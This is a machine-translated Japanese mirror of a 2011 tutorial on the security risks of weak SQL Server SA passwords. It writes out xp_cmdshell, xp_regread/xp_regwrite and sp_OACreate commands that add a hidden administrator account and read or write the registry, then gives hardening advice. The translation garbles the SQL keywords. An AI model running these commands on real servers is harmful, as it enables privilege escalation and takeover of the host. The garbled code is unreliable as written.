この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 10849|答える: 0

[出典] 2011年 MSSQL システムセキュリティSA 弱いパスワードセキュリティリスクチュートリアル

[リンクをコピー]
掲載地 2014/11/26 15:48:23 | | |
ストアドプロシージャは、SQLServerに保存された事前に書かれたSQL文の集合であり、その中で最も危険な拡張ストアドプロシージャはxp_cmdshellで、OSの任意の命令を実行できます。SAはMicrosoft SQLServerの管理者アカウントで、最高権限を持ち、拡張ストアドプロシージャを実行し、実行などの返還値を取得できます。
エグゼクティブマスター... xp_cmdshell 'net user test 1234 /add' と exec master: xp_cmdshell 「net localgroup administrators test /add」
このようにして、テストという名前のユーザー、パスワード1234、管理者権限が相手方のシステムに追加されます(図1参照)。

これでなぜSAパスワードを取得し、システムの最高権限を得るのか理解できるはずです。 多くのネットワーク管理者はこの状況を知らず、SAユーザー向けに1234や4321のような簡単なパスワードを持っているか、そもそもパスワードを設定していないため、ネットワーク侵入者がハッキングツールでSAパスワードを簡単にスキャンし、コンピュータを制御できるようにしています。
xp_cmdshellに加えて、侵入者が悪用する可能性のあるストアドプロシージャも存在します。
1. xp_regread(この拡張ストアドプロシージャはレジストリで指定されたキーの値を読み取ることができます)、使い方(マシン名の取得):
宣言@testヴァルチャー(50)エグゼクティブマスター... xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test 出力選択@test
2. xp_regwrite(この拡張ストアドプロシージャはレジストリで指定されたキーに指定された値を書き込める)およびその使い方(キーにbbbを書くことHKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaaValue):
エグゼクティマスター... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
侵害されたコンピュータの管理者ユーザーがレジストリ内のHKEY_LOCAL_MACHINE\SAM\SAM\情報を閲覧できれば、xp_regreadとxp_regwriteの2つのストアドプロシージャを使って管理者ユーザーのクローンを取得し、管理者権限を取得することができます。 xp_regdeletekey xp_regdeletevalueはシステムにセキュリティリスクをもたらすこともあります。   3. 一連のOLE関連の保存手続き。この保存手順はsp_OACreate、sp_OADestroy、sp_OAGetErrorInfo、sp_OAGetProperty、sp_OAMethod、sp_OASetProperty、sp_OAStop、使用例があります。
@shell INT EXEC を宣言 SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell, 'RUN', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
このようにして、もう一方のシステムはtestという名前のユーザーとパスワード1234のユーザーを追加し、次の動作を実行します。
@shell INT EXEC を宣言 SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell, 'RUN', null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators tests /add '--
ユーザーテストは管理者グループに追加されました。   解決策:SAにサイバー攻撃者が破りにくするほど複雑なパスワードを与えること。 安全のために、SQL sp_addextendedproc sp_dropextendedproc erverのクエリアナライザーでストアドプロシージャを使い、xp_cmdshellなどのストアドプロシージャを削除sp_dropextendedproc、必要に応じてsp_addextendedprocリカバリーを使う必要があります。 なお、OLE(無意味な)に関するストアドプロシージャを削除すると、Enterprise Managerの一部の機能が使えなくなる可能性があり、著者はここで削除することを推奨していません。
SP_OACREATEの使い方がわかったので、\WINNT \system32に行ってcmd.exe、net.exe、net1.exe 3つのファイルを見つけ、「プロパティ」の「セキュリティ」でアクセス可能なユーザーをすべて削除できます。そうすれば、システムユーザー数を増やすためにSP_OACREATEを使えなくなります。また、これらのファイルにアクセスする際にアクセスユーザーを追加できます。




先の:2011年 MSSQL ステートメント パスワード検証セキュリティ脆弱性チュートリアル
次に:2011年のデフォルトでSAアカウントを変更・削除する最も安全な方法はMSSQL2000
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com